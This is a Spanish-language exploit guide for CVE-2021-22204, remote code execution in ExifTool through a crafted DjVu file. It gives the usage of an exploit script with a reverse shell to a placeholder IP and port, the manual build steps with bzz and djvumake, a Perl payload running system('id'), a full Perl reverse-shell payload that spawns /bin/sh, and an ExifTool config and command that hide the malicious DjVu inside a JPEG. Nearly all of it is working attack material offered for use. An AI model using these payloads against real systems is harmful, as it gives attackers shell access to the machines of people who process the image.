
Script de exploit para CVE-2021-22204, un RCE de ExifTool mediante archivos DjVu maliciosos, con pasos de explotación manual y cargas útiles de shell inversa.
La neutralización incorrecta de datos del usuario en el formato de archivo DjVu en ExifTool versiones 7.44 y posteriores permite la ejecución de código arbitrario al analizar la imagen maliciosa.

Comando del sistema:
bash CVE-2021-2204.sh "system('id')" happy.jpg
Shell inversa
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg
*Tu IP y PUERTO
$ sudo apt install djvulibre-bin
# Instala las herramientas necesarias
$ bzz payload payload.bzz
# Comprime nuestro archivo de payload para que no sea legible por humanos
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Cualquier cosa en el formato 'N,N' donde N es un número
# BGjp = Espera una imagen JPEG, pero podemos usar /dev/null para no usar nada como imagen de fondo
# ANTz = Escribirá el bloque de anotaciones comprimido con el archivo de entrada
Payload
(metadata "\c${system('id')};")
Payload (para reversehell)
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")
Luego, cuando la víctima abra el archivo exploit.djvu con una versión vulnerable de Exiftool, nuestro código Perl incrustado ejecutará el comando id .
%Image::ExifTool::UserDefined = (
# Todas las etiquetas EXIF se añaden a la tabla Main, y WriteGroup se usa para
# especificar dónde se escribe la etiqueta (por defecto es ExifIFD si no se especifica):
'Image::ExifTool::Exif::Main' => {
# Ejemplo 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# añadir más etiquetas EXIF definidas por el usuario aquí...
},
);
1; #end%
Lo que hace este archivo es permitirnos escribir una nueva etiqueta en el archivo, con el nombre HasselbladExif y los bytes 0xc51b para identificarla dentro de nuestro nuevo archivo. Luego podemos insertarla dentro de cualquier archivo. [8]Después, usarla junto con nuestro exploit.djvu ya creado para insertar el archivo DjVu malicioso dentro de un JPEG válido.
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg
configfile = El nombre de nuestro archivo de configuración;
-HasselbladExif = Nombre de la etiqueta especificada en el archivo de configuración;
exploit.djvu = Nuestro exploit, previamente creado con djvumake;
hacker.jpg = Un archivo JPEG válido;